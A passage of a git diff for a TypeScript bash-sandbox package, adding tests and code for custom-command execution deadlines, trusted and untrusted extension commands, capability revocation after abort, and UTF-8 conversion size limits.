     "command": "find . -maxdepth 1 | sort",
     "files": {
@@ -160,6 +171,16 @@
     "stderr": "",
     "exitCode": 0
   },
+  "bbd47cdce563ae5c": {
+    "command": "find . -type f -path '*/pulls/*.json' -print | sort",
+    "files": {
+      "pulls/direct.json": "",
+      "pulls/nested/deep.json": ""
+    },
+    "stdout": "./pulls/direct.json\n./pulls/nested/deep.json\n",
+    "stderr": "",
+    "exitCode": 0
+  },
   "bea27b7d4d4a9d70": {
     "command": "find . -mindepth 1 -maxdepth 2 | sort",
     "files": {
@@ -203,6 +224,15 @@
     "stderr": "",
     "exitCode": 0
   },
+  "f5f1f7c6e957fe10": {
+    "command": "find . -type f ! -print",
+    "files": {
+      "file": ""
+    },
+    "stdout": "./file\n",
+    "stderr": "",
+    "exitCode": 0
+  },
   "f6a1f2b584efa25a": {
     "command": "find . -name \"*.txt\" | sort",
     "files": {
diff --git a/packages/just-bash/src/comparison-tests/fixtures/test.comparison.fixtures.json b/packages/just-bash/src/comparison-tests/fixtures/test.comparison.fixtures.json
index 85a3d6e9..18898bd8 100644
--- a/packages/just-bash/src/comparison-tests/fixtures/test.comparison.fixtures.json
+++ b/packages/just-bash/src/comparison-tests/fixtures/test.comparison.fixtures.json
@@ -145,6 +145,15 @@
     "stderr": "",
     "exitCode": 0
   },
+  "7a8e450961caecd3": {
+    "command": "ln -s target.txt symlink.txt; ln target.txt hardlink.txt; test target.txt -ef symlink.txt; echo $?; test target.txt -ef hardlink.txt; echo $?; test target.txt -nt missing.txt; echo $?; test missing.txt -ot target.txt; echo $?",
+    "files": {
+      "target.txt": "content"
+    },
+    "stdout": "0\n0\n0\n0\n",
+    "stderr": "",
+    "exitCode": 0
+  },
   "7d3cfdb988f34f1f": {
     "command": "test 5 -lt 3 && echo less || echo notless",
     "files": {},
diff --git a/packages/just-bash/src/comparison-tests/test.comparison.test.ts b/packages/just-bash/src/comparison-tests/test.comparison.test.ts
index 8aa054cf..56c214e7 100644
--- a/packages/just-bash/src/comparison-tests/test.comparison.test.ts
+++ b/packages/just-bash/src/comparison-tests/test.comparison.test.ts
@@ -18,6 +18,22 @@ describe("test command - Real Bash Comparison", () => {
   });
 
   describe("file tests", () => {
+    it("matches identity and one-sided missing-file semantics", async () => {
+      const env = await setupFiles(testDir, { "target.txt": "content" });
+      await compareOutputs(
+        env,
+        testDir,
+        [
+          "ln -s target.txt symlink.txt",
+          "ln target.txt hardlink.txt",
+          "test target.txt -ef symlink.txt; echo $?",
+          "test target.txt -ef hardlink.txt; echo $?",
+          "test target.txt -nt missing.txt; echo $?",
+          "test missing.txt -ot target.txt; echo $?",
+        ].join("; "),
+      );
+    });
+
     it("-e returns 0 for existing file", async () => {
       const env = await setupFiles(testDir, { "file.txt": "content" });
       await compareOutputs(env, testDir, "test -e file.txt && echo exists");
diff --git a/packages/just-bash/src/custom-command-deadline.test.ts b/packages/just-bash/src/custom-command-deadline.test.ts
new file mode 100644
index 00000000..56d84fd7
--- /dev/null
+++ b/packages/just-bash/src/custom-command-deadline.test.ts
@@ -0,0 +1,352 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "./Bash.js";
+import { type CustomCommand, defineCommand } from "./custom-commands.js";
+
+function never(): Promise<never> {
+  return new Promise(() => {});
+}
+
+describe("custom command deadline boundary", () => {
+  it("returns a shell failure when extension cleanup fails", async () => {
+    const logs: Array<{
+      message: string;
+      data?: Record<string, unknown>;
+    }> = [];
+    const bash = new Bash({
+      defenseInDepth: false,
+      logger: {
+        info: (message, data) => logs.push({ message, data }),
+        debug: (message, data) => logs.push({ message, data }),
+      },
+      customCommands: [
+        defineCommand("cleanup-failure", async (_args, ctx) => {
+          ctx.executionScope?.registerCleanup(() => {
+            throw new Error("sensitive cleanup detail");
+          });
+          return { stdout: "command output\n", stderr: "", exitCode: 0 };
+        }),
+      ],
+    });
+
+    await expect(bash.exec("cleanup-failure")).resolves.toMatchObject({
+      stdout: "command output\n",
+      stderr: "bash: execution cleanup failed\n",
+      exitCode: 126,
+    });
+    expect(logs.filter(({ message }) => message === "exit")).toEqual([
+      { message: "exit", data: { exitCode: 126 } },
+    ]);
+    expect(logs.find(({ message }) => message === "stderr")?.data).toEqual({
+      output: "bash: execution cleanup failed\n",
+    });
+  });
+
+  it("exposes an inert stable filesystem identity instead of the filesystem", async () => {
+    const identities: object[] = [];
+    let mutationError: unknown;
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [
+        defineCommand("identity", async (_args, ctx) => {
+          const identity = ctx.fsIdentity;
+          if (!identity) throw new Error("missing filesystem identity");
+          identities.push(identity);
+          expect(identity).not.toBe(ctx.fs);
+          expect(Object.getPrototypeOf(identity)).toBeNull();
+          expect(Object.isFrozen(identity)).toBe(true);
+          return { stdout: "", stderr: "", exitCode: 0 };
+        }),
+      ],
+    });
+
+    await bash.exec("identity");
+    await bash.exec("identity");
+    try {
+      Object.defineProperty(identities[0], "writeFile", { value: () => {} });
+    } catch (error) {
+      mutationError = error;
+    }
+
+    expect(identities[0]).toBe(identities[1]);
+    expect(mutationError).toBeInstanceOf(TypeError);
+    expect("writeFile" in identities[0]).toBe(false);
+  });
+
+  it("does not expose execution lifecycle or result-accounting authority", async () => {
+    let exposedKeys: string[] = [];
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [
+        defineCommand("budget", async (_args, ctx) => {
+          const budget = ctx.executionScope as unknown as Record<
+            string,
+            unknown
+          >;
+          exposedKeys = [
+            "close",
+            "poisonAfterAbort",
+            "relinquishOutput",
+            "accountResult",
+            "appendOutput",
+            "chargeCommand",
+          ].filter((name) => typeof budget[name] === "function");
+          return { stdout: "", stderr: "", exitCode: 0 };
+        }),
+      ],
+    });
+
+    const result = await bash.exec("budget; echo still-running");
+    expect(result.stdout).toBe("still-running\n");
+    expect(exposedKeys).toEqual([]);
+  });
+
+  it("does not retain the host AbortSignal or mutable filesystem identity after abort", async () => {
+    const controller = new AbortController();
+    let markReady!: () => void;
+    const ready = new Promise<void>((resolve) => {
+      markReady = resolve;
+    });
+    let retainedSignal: AbortSignal | undefined;
+    let retainedIdentity: object | undefined;
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [
+        defineCommand("retain", async (_args, ctx) => {
+          retainedSignal = ctx.signal;
+          retainedIdentity = ctx.fsIdentity;
+          markReady();
+          return never();
+        }),
+      ],
+      executionLimits: {
+        maxExecutionTimeMs: 1_000,
+        maxExtensionCleanupTimeMs: 5,
+      },
+    });
+
+    const execution = bash.exec("retain", { signal: controller.signal });
+    await ready;
+    controller.abort();
+    await execution;
+
+    expect(retainedSignal).not.toBe(controller.signal);
+    expect(retainedSignal?.aborted).toBe(true);
+    expect(() =>
+      Object.defineProperty(retainedIdentity, "writeFile", { value: () => {} }),
+    ).toThrow(TypeError);
+    expect("writeFile" in (retainedIdentity ?? {})).toBe(false);
+  });
+
+  it.each([
+    "direct",
+    "helper",
+    "lazy",
+  ] as const)("bounds a never-settling %s command", async (kind) => {
+    const execute = async () => never();
+    const command: CustomCommand =
+      kind === "direct"
+        ? { name: kind, execute }
+        : kind === "helper"
+          ? defineCommand(kind, execute)
+          : { name: kind, load: async () => ({ name: kind, execute }) };
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [command],
+      executionLimits: {
+        maxExecutionTimeMs: 15,
+        maxExtensionCleanupTimeMs: 5,
+      },
+    });
+    const started = Date.now();
+
+    const result = await bash.exec(kind);
+
+    expect(Date.now() - started).toBeLessThan(250);
+    expect(result.exitCode).toBe(124);
+    expect(result.stderr).toContain("execution deadline");
+  });
+
+  it("makes timeout binding for an abort-ignorant custom command", async () => {
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [{ name: "never", execute: async () => never() }],
+      executionLimits: {
+        maxExecutionTimeMs: 1_000,
+        maxExtensionCleanupTimeMs: 5,
+      },
+    });
+    const started = Date.now();
+
+    const result = await bash.exec("timeout 0.01 never");
+
+    expect(Date.now() - started).toBeLessThan(250);
+    expect(result.exitCode).toBe(124);
+  });
+
+  it("bounds an abort-ignorant sleep hook", async () => {
+    const bash = new Bash({
+      defenseInDepth: false,
+      sleep: async () => never(),
+      executionLimits: {
+        maxExecutionTimeMs: 1_000,
+        maxExtensionCleanupTimeMs: 5,
+      },
+    });
+
+    const result = await bash.exec("timeout 0.01 sleep 60");
+
+    expect(result.exitCode).toBe(124);
+  });
+
+  it("bounds an abort-ignorant fetch hook", async () => {
+    const bash = new Bash({
+      defenseInDepth: false,
+      fetch: async () => never(),
+      executionLimits: {
+        maxExecutionTimeMs: 1_000,
+        maxExtensionCleanupTimeMs: 5,
+      },
+    });
+
+    const result = await bash.exec("timeout 0.01 curl https://example.com");
+
+    expect(result.exitCode).toBe(124);
+  });
+
+  it("revokes shell capabilities from a late continuation", async () => {
+    let release!: () => void;
+    const gate = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    let lateError: unknown;
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [
+        defineCommand("late", async (_args, ctx) => {
+          await gate;
+          try {
+            await ctx.fs.writeFile("/late", "accepted");
+          } catch (error) {
+            lateError = error;
+          }
+          return { stdout: "late\n", stderr: "", exitCode: 0 };
+        }),
+      ],
+      executionLimits: {
+        maxExecutionTimeMs: 10,
+        maxExtensionCleanupTimeMs: 5,
+      },
+    });
+
+    const result = await bash.exec("late");
+    release();
+    await Promise.resolve();
+    await Promise.resolve();
+
+    expect(result.exitCode).toBe(124);
+    await expect(bash.fs.exists("/late")).resolves.toBe(false);
+    expect(lateError).toMatchObject({ name: "ExecutionAbortedError" });
+  });
+
+  it("revokes descriptor and accounting capabilities before abort grace", async () => {
+    let descriptorError: unknown;
+    let accountingError: unknown;
+    const controller = new AbortController();
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [
+        defineCommand("during-grace", async (_args, ctx) => {
+          await new Promise<void>((resolve) => {
+            ctx.signal?.addEventListener("abort", () => resolve(), {
+              once: true,
+            });
+          });
+          try {
+            ctx.fileDescriptors?.set(9, "late");
+          } catch (error) {
+            descriptorError = error;
+          }
+          try {
+            ctx.executionScope?.consumeWork(1, "late extension");
+          } catch (error) {
+            accountingError = error;
+          }
+          return never();
+        }),
+      ],
+      executionLimits: {
+        maxExecutionTimeMs: 1_000,
+        maxExtensionCleanupTimeMs: 20,
+      },
+    });
+
+    const execution = bash.exec("during-grace 9<<<x", {
+      signal: controller.signal,
+    });
+    setTimeout(() => controller.abort(), 10);
+    const result = await execution;
+
+    expect(result.exitCode).toBe(124);
+    expect(descriptorError).toMatchObject({ name: "ExecutionAbortedError" });
+    expect(accountingError).toMatchObject({ name: "ExecutionAbortedError" });
+  });
+
+  it("revokes capabilities returned by context methods before abort cleanup", async () => {
+    let markReady!: () => void;
+    const ready = new Promise<void>((resolve) => {
+      markReady = resolve;
+    });
+    let unregisterError: unknown;
+    let releaseError: unknown;
+    let cleanupRuns = 0;
+    const controller = new AbortController();
+    const bash = new Bash({
+      defenseInDepth: false,
+      customCommands: [
+        defineCommand("returned-capability", async (_args, ctx) => {
+          const unregister = ctx.executionScope?.registerCleanup(() => {
+            cleanupRuns++;
+          });
+          const depthLease = ctx.executionScope?.enterDepth(
+            "extension-test",
+            "returned capability",
+          );
+          ctx.signal?.addEventListener(
+            "abort",
+            () => {
+              try {
+                unregister?.();
+              } catch (error) {
+                unregisterError = error;
+              }
+              try {
+                depthLease?.release();
+              } catch (error) {
+                releaseError = error;
+              }
+            },
+            { once: true },
+          );
+          markReady();
+          return never();
+        }),
+      ],
+      executionLimits: {
+        maxExecutionTimeMs: 1_000,
+        maxExtensionCleanupTimeMs: 20,
+      },
+    });
+
+    const execution = bash.exec("returned-capability", {
+      signal: controller.signal,
+    });
+    await ready;
+    controller.abort();
+    const result = await execution;
+
+    expect(result.exitCode).toBe(124);
+    expect(unregisterError).toMatchObject({ name: "ExecutionAbortedError" });
+    expect(releaseError).toMatchObject({ name: "ExecutionAbortedError" });
+    expect(cleanupRuns).toBe(1);
+  });
+});
diff --git a/packages/just-bash/src/custom-commands.test.ts b/packages/just-bash/src/custom-commands.test.ts
index 8f35d609..98ce506e 100644
--- a/packages/just-bash/src/custom-commands.test.ts
+++ b/packages/just-bash/src/custom-commands.test.ts
@@ -2,15 +2,29 @@ import { describe, expect, it } from "vitest";
 import { Bash } from "./Bash.js";
 import {
   type CustomCommand,
+  createCommandContext,
   createLazyCustomCommand,
   defineCommand,
   isLazyCommand,
   type LazyCommand,
 } from "./custom-commands.js";
 import { decodeBytesToUtf8, EMPTY_BYTES } from "./encoding.js";
-import type { Command } from "./types.js";
+import { resolveLimits } from "./limits.js";
+import type { Command, ResolvedCommandContext } from "./types.js";
 
 describe("custom-commands", () => {
+  it("creates a fully resolved standalone command context", () => {
+    const context = createCommandContext({
+      fs: {} as never,
+      executionLimits: { maxCommandCount: 7 },
+    });
+
+    expect(context.cwd).toBe("/");
+    expect(context.stdin).toBe(EMPTY_BYTES);
+    expect(context.limits.maxCommandCount).toBe(7);
+    expect(context.limits.maxExecutionTimeMs).toBeGreaterThan(0);
+  });
+
   describe("defineCommand", () => {
     it("creates a Command object with name and execute", () => {
       const cmd = defineCommand("test", async () => ({
@@ -20,9 +34,21 @@ describe("custom-commands", () => {
       }));
 
       expect(cmd.name).toBe("test");
+      expect(cmd.trusted).toBe(true);
       expect(typeof cmd.execute).toBe("function");
     });
 
+    it("preserves trusted defaults and supports explicit untrusted commands", () => {
+      const execute = async () => ({ stdout: "", stderr: "", exitCode: 0 });
+      expect(defineCommand("compatible", execute).trusted).toBe(true);
+      expect(defineCommand("safe", execute, { trusted: false }).trusted).toBe(
+        false,
+      );
+      expect(defineCommand("trusted", execute, { trusted: true }).trusted).toBe(
+        true,
+      );
+    });
+
     it("execute function receives args and ctx", async () => {
       const cmd = defineCommand("greet", async (args, ctx) => ({
         stdout: `Hello, ${args[0] || "world"}! CWD: ${ctx.cwd}\n`,
@@ -84,6 +110,7 @@ describe("custom-commands", () => {
         cwd: "/",
         env: new Map(),
         stdin: EMPTY_BYTES,
+        limits: resolveLimits(),
       });
       expect(loadCount).toBe(1);
       expect(result1.stdout).toBe("lazy loaded\n");
@@ -94,13 +121,218 @@ describe("custom-commands", () => {
         cwd: "/",
         env: new Map(),
         stdin: EMPTY_BYTES,
+        limits: resolveLimits(),
       });
       expect(loadCount).toBe(1);
       expect(result2.stdout).toBe("lazy loaded\n");
     });
+
+    it("single-flights concurrent first execution", async () => {
+      let loadCount = 0;
+      let release: (() => void) | undefined;
+      const gate = new Promise<void>((resolve) => {
+        release = resolve;
+      });
+      const cmd = createLazyCustomCommand({
+        name: "concurrent",
+        load: async () => {
+          loadCount++;
+          await gate;
+          return defineCommand("concurrent", async () => ({
+            stdout: "loaded\n",
+            stderr: "",
+            exitCode: 0,
+          }));
+        },
+      });
+      const context = {
+        fs: {} as never,
+        cwd: "/",
+        env: new Map<string, string>(),
+        stdin: EMPTY_BYTES,
+        limits: resolveLimits(),
+      };
+
+      const executions = [
+        cmd.execute([], context),
+        cmd.execute([], context),
+        cmd.execute([], context),
+      ];
+      expect(loadCount).toBe(1);
+      release?.();
+
+      const results = await Promise.all(executions);
+      expect(results.map((result) => result.stdout)).toEqual([
+        "loaded\n",
+        "loaded\n",
+        "loaded\n",
+      ]);
+      expect(loadCount).toBe(1);
+    });
+
+    it("allows a retry after a rejected load", async () => {
+      let loadCount = 0;
+      const cmd = createLazyCustomCommand({
+        name: "retry",
+        load: async () => {
+          loadCount++;
+          if (loadCount === 1) throw new Error("temporary load failure");
+          return defineCommand("retry", async () => ({
+            stdout: "retried\n",
+            stderr: "",
+            exitCode: 0,
+          }));
+        },
+      });
+      const context = {
+        fs: {} as never,
+        cwd: "/",
+        env: new Map<string, string>(),
+        stdin: EMPTY_BYTES,
+        limits: resolveLimits(),
+      };
+
+      await expect(cmd.execute([], context)).rejects.toThrow(
+        "temporary load failure",
+      );
+      const result = await cmd.execute([], context);
+
+      expect(result.stdout).toBe("retried\n");
+      expect(loadCount).toBe(2);
+    });
   });
 
   describe("Bash with customCommands", () => {
+    it("preserves prototype methods on class-based commands", async () => {
+      class ClassCommand implements Command {
+        readonly name = "class-command";
+
+        async execute(
+          _args: string[],
+          ctx: ResolvedCommandContext,
+        ): Promise<{ stdout: string; stderr: string; exitCode: number }> {
+          await new Promise((resolve) => setTimeout(resolve, 1));
+          return { stdout: `${ctx.cwd}\n`, stderr: "", exitCode: 0 };
+        }
+      }
+
+      const command = new ClassCommand();
+      expect(Object.hasOwn(command, "execute")).toBe(false);
+      expect(
+        (await new Bash({ customCommands: [command] }).exec(command.name))
+          .stdout,
+      ).toBe("/home/user\n");
+    });
+
+    it.each([
+      "direct",
+      "helper",
+      "lazy",
+    ] as const)("preserves trusted execution by default for %s commands", async (kind) => {
+      const execute = async () => {
+        await new Promise((resolve) => setTimeout(resolve, 1));
+        return { stdout: "ok\n", stderr: "", exitCode: 0 };
+      };
+      const command: CustomCommand =
+        kind === "direct"
+          ? { name: kind, execute }
+          : kind === "helper"
+            ? defineCommand(kind, execute)
+            : {
+                name: kind,
+                load: async () => ({ name: kind, execute }),
+              };
+
+      expect(
+        (await new Bash({ customCommands: [command] }).exec(kind)).stdout,
+      ).toBe("ok\n");
+    });
+
+    it.each([
+      "direct",
+      "helper",
+      "lazy",
+    ] as const)("supports explicit untrusted execution for %s commands", async (kind) => {
+      const execute = async () => {
+        setTimeout(() => {}, 1);
+        return { stdout: "unexpected\n", stderr: "", exitCode: 0 };
+      };
+      const command: CustomCommand =
+        kind === "direct"
+          ? { name: kind, trusted: false, execute }
+          : kind === "helper"
+            ? defineCommand(kind, execute, { trusted: false })
+            : {
+                name: kind,
+                trusted: false,
+                load: async () => ({ name: kind, execute }),
+              };
+      const bash = new Bash({ customCommands: [command] });
+
+      const result = await bash.exec(kind);
+
+      expect(result.exitCode).toBe(1);
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toContain("setTimeout is blocked");
+    });
+
+    it("lets a lazy command explicitly opt in to trusted execution", async () => {
+      const bash = new Bash({
+        customCommands: [
+          {
+            name: "trusted-lazy",
+            trusted: true,
+            load: async () => ({
+              name: "trusted-lazy",
+              execute: async () => {
+                await new Promise((resolve) => setTimeout(resolve, 1));
+                return { stdout: "ok\n", stderr: "", exitCode: 0 };
+              },
+            }),
+          },
+        ],
+      });
+
+      expect((await bash.exec("trusted-lazy")).stdout).toBe("ok\n");
+    });
+
+    it("preserves trusted execution for commands registered later", async () => {
+      const bash = new Bash();
+      bash.registerCommand({
+        name: "late-trusted-default",
+        execute: async () => {
+          await new Promise((resolve) => setTimeout(resolve, 1));
+          return { stdout: "ok\n", stderr: "", exitCode: 0 };
+        },
+      });
+
+      const result = await bash.exec("late-trusted-default");
+
+      expect(result).toMatchObject({
+        stdout: "ok\n",
+        stderr: "",
+        exitCode: 0,
+      });
+    });
+
+    it("allows commands registered later to opt into restriction", async () => {
+      const bash = new Bash();
+      bash.registerCommand({
+        name: "late-restricted",
+        trusted: false,
+        execute: async () => {
+          setTimeout(() => {}, 1);
+          return { stdout: "unexpected\n", stderr: "", exitCode: 0 };
+        },
+      });
+
+      const result = await bash.exec("late-restricted");
+
+      expect(result.exitCode).toBe(1);
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toContain("setTimeout is blocked");
+    });
+
     it("registers and executes a simple custom command", async () => {
       const hello = defineCommand("hello", async (args) => ({
         stdout: `Hello, ${args[0] || "world"}!\n`,
diff --git a/packages/just-bash/src/custom-commands.ts b/packages/just-bash/src/custom-commands.ts
index 50c0489a..b5090f28 100644
--- a/packages/just-bash/src/custom-commands.ts
+++ b/packages/just-bash/src/custom-commands.ts
@@ -4,7 +4,21 @@
  * Provides types and utilities for registering user-provided TypeScript commands.
  */
 
-import type { Command, CommandContext, ExecResult } from "./types.js";
+import { type ByteString, EMPTY_BYTES } from "./encoding.js";
+import { getFileSystemIdentity } from "./fs/identity.js";
+import type { IFileSystem } from "./fs/interface.js";
+import {
+  type ExecutionLimitProfile,
+  type ExecutionLimits,
+  resolveLimits,
+} from "./limits.js";
+import type {
+  Command,
+  CommandContext,
+  ExecResult,
+  ResolvedCommandContext,
+  RuntimeCommandContext,
+} from "./types.js";
 
 /**
  * A custom command - either a Command object or a lazy loader.
@@ -16,9 +30,49 @@ export type CustomCommand = Command | LazyCommand;
  */
 export interface LazyCommand {
   name: string;
+  /**
+   * Set false to run through the restricted extension boundary. Commands are
+   * trusted by default for compatibility with existing host integrations.
+   */
+  trusted?: boolean;
   load: () => Promise<Command>;
 }
 
+/** Inputs for a complete standalone command context, primarily for tests. */
+export interface CommandContextOptions
+  extends Omit<Partial<CommandContext>, "fs" | "limits" | "stdin"> {
+  fs: IFileSystem;
+  stdin?: ByteString;
+  executionLimits?: ExecutionLimits;
+  executionLimitProfile?: ExecutionLimitProfile;
+}
+
+/**
+ * Build the same resolved public context shape that the interpreter gives a
+ * custom command. This avoids hand-maintained test objects drifting whenever
+ * an internal execution limit is added.
+ */
+export function createCommandContext(
+  options: CommandContextOptions,
+): RuntimeCommandContext {
+  const {
+    executionLimits,
+    executionLimitProfile,
+    fs,
+    stdin = EMPTY_BYTES,
+    ...overrides
+  } = options;
+  return {
+    fs,
+    fsIdentity: overrides.fsIdentity ?? getFileSystemIdentity(fs),
+    cwd: "/",
+    env: new Map(),
+    stdin,
+    limits: resolveLimits(executionLimits, executionLimitProfile),
+    ...overrides,
+  };
+}
+
 /**
  * Type guard to check if a custom command is lazy-loaded.
  */
@@ -43,9 +97,10 @@ export function isLazyCommand(cmd: CustomCommand): cmd is LazyCommand {
  */
 export function defineCommand(
   name: string,
-  execute: (args: string[], ctx: CommandContext) => Promise<ExecResult>,
+  execute: (args: string[], ctx: ResolvedCommandContext) => Promise<ExecResult>,
+  options: { trusted?: boolean } = {},
 ): Command {
-  return { name, trusted: true, execute };
+  return { name, trusted: options.trusted !== false, execute };
 }
 
 /**
@@ -54,14 +109,35 @@ export function defineCommand(
  */
 export function createLazyCustomCommand(lazy: LazyCommand): Command {
   let cached: Command | null = null;
+  let loading: Promise<Command> | null = null;
   return {
     name: lazy.name,
-    trusted: true,
-    async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+    trusted: lazy.trusted !== false,
+    async execute(
+      args: string[],
+      ctx: ResolvedCommandContext,
+    ): Promise<ExecResult> {
       if (!cached) {
-        cached = await lazy.load();
+        let currentLoading = loading;
+        if (!currentLoading) {
+          currentLoading = lazy.load().then((command) => {
+            cached = command;
+            return command;
+          });
+          loading = currentLoading;
+        }
+        try {
+          cached = await currentLoading;
+        } catch (error) {
+          // A failed dynamic import may be transient. Permit a later explicit
+          // invocation to retry while still single-flighting concurrent calls.
+          if (loading === currentLoading) loading = null;
+          throw error;
+        }
       }
-      return cached.execute(args, ctx);
+      const command = cached;
+      if (!command) throw new Error(`Failed to load command: ${lazy.name}`);
+      return command.execute(args, ctx);
     },
   };
 }
diff --git a/packages/just-bash/src/encoding.ts b/packages/just-bash/src/encoding.ts
index e8a02764..1739360b 100644
--- a/packages/just-bash/src/encoding.ts
+++ b/packages/just-bash/src/encoding.ts
@@ -23,6 +23,43 @@ export interface ByteString {
 
 const strictUtf8Decoder = new TextDecoder("utf-8", { fatal: true });
 const utf8Encoder = new TextEncoder();
+const DEFAULT_MAX_CONVERSION_BYTES = 512 * 1024 * 1024;
+
+function assertConversionSize(
+  bytes: number,
+  maximum: number,
+  operation: string,
+): void {
+  if (
+    !Number.isSafeInteger(bytes) ||
+    bytes < 0 ||
+    !Number.isSafeInteger(maximum) ||
+    maximum < 0 ||
+    bytes > maximum
+  ) {
+    throw new RangeError(
+      `${operation}: byte conversion limit exceeded (${maximum} bytes)`,
+    );
+  }
+}
+
+/** Return UTF-8 byte length without allocating an encoded copy. */
+export function utf8ByteLength(value: string): number {
+  let bytes = 0;
+  for (let index = 0; index < value.length; index++) {
+    const code = value.charCodeAt(index);
+    if (code <= 0x7f) bytes++;
+    else if (code <= 0x7ff) bytes += 2;
+    else if (code >= 0xd800 && code <= 0xdbff && index + 1 < value.length) {
+      const next = value.charCodeAt(index + 1);
+      if (next >= 0xdc00 && next <= 0xdfff) {
+        bytes += 4;
+        index++;
+      } else bytes += 3;
+    } else bytes += 3;
+  }
+  return bytes;
+}
 
 /**
  * Tag a latin1 byte buffer (each char = one byte) as a `ByteString`. Use at
@@ -52,9 +89,13 @@ export function latin1FromBytes(b: ByteString): string {
  * a binary stream piped into grep). Callers that want hard failure on
  * invalid UTF-8 should encode + decode manually with `{ fatal: true }`.
  */
-export function decodeBytesToUtf8(b: ByteString): string {
+export function decodeBytesToUtf8(
+  b: ByteString,
+  maxBytes: number = DEFAULT_MAX_CONVERSION_BYTES,
+): string {
   const s = b as unknown as string;
   if (!s) return s;
+  assertConversionSize(s.length, maxBytes, "UTF-8 decode");
 
   let hasHighByte = false;
   for (let i = 0; i < s.length; i++) {
@@ -84,8 +125,12 @@ export function decodeBytesToUtf8(b: ByteString): string {
  * text and need to emit it back as bytes — typically the inverse of an
  * earlier `decodeBytesToUtf8` call inside the same command.
  */
-export function encodeUtf8ToBytes(s: string): ByteString {
+export function encodeUtf8ToBytes(
+  s: string,
+  maxBytes: number = DEFAULT_MAX_CONVERSION_BYTES,
+): ByteString {
   if (!s) return s as unknown as ByteString;
+  assertConversionSize(utf8ByteLength(s), maxBytes, "UTF-8 encode");
   const bytes = utf8Encoder.encode(s);
   let out = "";
   for (let i = 0; i < bytes.length; i++) out += String.fromCharCode(bytes[i]);
@@ -99,7 +144,11 @@ export const EMPTY_BYTES: ByteString = "" as unknown as ByteString;
  * Convert a `Uint8Array` to a `ByteString`. Each byte becomes one char.
  * The reverse is `Uint8Array.from(latin1FromBytes(b), (c) => c.charCodeAt(0))`.
  */
-export function bytesFromUint8Array(buf: Uint8Array): ByteString {
+export function bytesFromUint8Array(
+  buf: Uint8Array,
+  maxBytes: number = DEFAULT_MAX_CONVERSION_BYTES,
+): ByteString {
+  assertConversionSize(buf.byteLength, maxBytes, "byte-string conversion");
   let out = "";
   for (let i = 0; i < buf.length; i++) out += String.fromCharCode(buf[i]);
   return out as unknown as ByteString;
diff --git a/packages/just-bash/src/execution-output.ts b/packages/just-bash/src/execution-output.ts
new file mode 100644
index 00000000..ac8eeb9a
--- /dev/null
+++ b/packages/just-bash/src/execution-output.ts
@@ -0,0 +1,101 @@
+import { utf8ByteLength } from "./encoding.js";
+import type { ExecutionScope } from "./execution-scope.js";
+import { ControlFlowError } from "./interpreter/errors.js";
+import type { ExecResult } from "./types.js";
+
+/**
+ * Chunked interpreter-output sink backed by the one top-level execution
+ * budget. Accounting metadata follows bytes as compound commands relay child
+ * results, avoiding both budget refreshes and double charging.
+ */
+export class ExecutionOutputAccumulator {
+  private readonly stdoutChunks: string[] = [];
+  private readonly stderrChunks: string[] = [];
+  private stdoutBytes = 0;
+  private stderrBytes = 0;
+  private readonly attachedErrors = new WeakSet<ControlFlowError>();
+
+  constructor(
+    private readonly scope: ExecutionScope,
+    private readonly site: string,
+  ) {}
+
+  append(
+    stream: "stdout" | "stderr",
+    chunk: string,
+    alreadyAccountedBytes = 0,
+    kind: "text" | "bytes" = "text",
+  ): void {
+    let bytes: number;
+    try {
+      bytes = this.scope.appendOutput(
+        stream,
+        chunk,
+        this.site,
+        alreadyAccountedBytes,
+        kind,
+      );
+    } catch (error) {
+      this.prependTo(error);
+      throw error;
+    }
+    if (chunk) {
+      (stream === "stdout" ? this.stdoutChunks : this.stderrChunks).push(chunk);
+    }
+    if (stream === "stdout") this.stdoutBytes += bytes;
+    else this.stderrBytes += bytes;
+  }
+
+  /**
+   * Attach output retained before a fatal/control-flow error exactly once for
+   * this accumulator. The bytes have already been charged by the shared scope,
+   * so propagation updates accounting metadata without charging them again.
+   */
+  prependTo(error: unknown): void {
+    if (!(error instanceof ControlFlowError)) return;
+    if (this.attachedErrors.has(error)) return;
+    this.attachedErrors.add(error);
+    error.prependOutput(this.stdout, this.stderr);
+  }
+
+  appendResult(result: ExecResult, stdout: string = result.stdout): void {
+    const stdoutKind =
+      result.stdoutKind === "bytes" || result.stdoutEncoding === "binary"
+        ? "bytes"
+        : "text";
+    const stdoutBytes =
+      stdoutKind === "bytes" ? stdout.length : utf8ByteLength(stdout);
+    this.append(
+      "stdout",
+      stdout,
+      Math.min(result.internalOutputAccounting?.stdout ?? 0, stdoutBytes),
+      stdoutKind,
+    );
+    this.append(
+      "stderr",
+      result.stderr,
+      result.internalOutputAccounting?.stderr ?? 0,
+    );
+  }
+
+  build(exitCode: number, extra?: Partial<ExecResult>): ExecResult {
+    return {
+      stdout: this.stdoutChunks.join(""),
+      stderr: this.stderrChunks.join(""),
+      exitCode,
+      ...extra,
+      internalOutputAccounting: {
+        stdout: this.stdoutBytes,
+        stderr: this.stderrBytes,
+      },
+    };
+  }
+
+  get stdout(): string {
+    return this.stdoutChunks.join("");
+  }
+
+  get stderr(): string {
+    return this.stderrChunks.join("");
+  }
+}
diff --git a/packages/just-bash/src/execution-scope.ts b/packages/just-bash/src/execution-scope.ts
new file mode 100644
index 00000000..3d3387f9
--- /dev/null
+++ b/packages/just-bash/src/execution-scope.ts
@@ -0,0 +1,501 @@
+import { utf8ByteLength } from "./encoding.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "./interpreter/errors.js";
+import type { ExecutionLimits } from "./limits.js";
+import { _clearFiniteTimeout, _setTimeoutIfFinite } from "./timers.js";
+import type { ExecResult } from "./types.js";
+
+export interface ResourceLease {
+  release(): void;
+}
+
+/**
+ * Accounting capability exposed to commands. Administrative lifecycle and
+ * result-accounting operations intentionally remain on ExecutionScope only.
+ */
+export interface CommandExecutionBudget {
